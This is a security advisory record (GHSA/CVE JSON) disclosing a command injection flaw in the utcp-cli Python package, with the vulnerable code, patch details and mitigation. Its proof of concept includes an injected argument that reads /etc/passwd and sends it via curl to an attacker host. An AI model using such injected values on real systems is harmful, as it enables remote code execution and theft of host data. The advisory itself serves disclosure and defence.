CVE-2026-45369: Utcp cli Utcp-cli Vulnerable To Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33p6-5jxp-p3x4",
  "modified" : "2026-05-15T23:46:56Z",
  "published" : "2026-05-14T20:56:01Z",
  "aliases" : [ "CVE-2026-45369" ],
  "summary" : "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol",
  "details" : "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2>&1)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "utcp-cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:56:01Z",
    "nvd_published_at" : "2026-05-14T21:16:48Z"
  }
}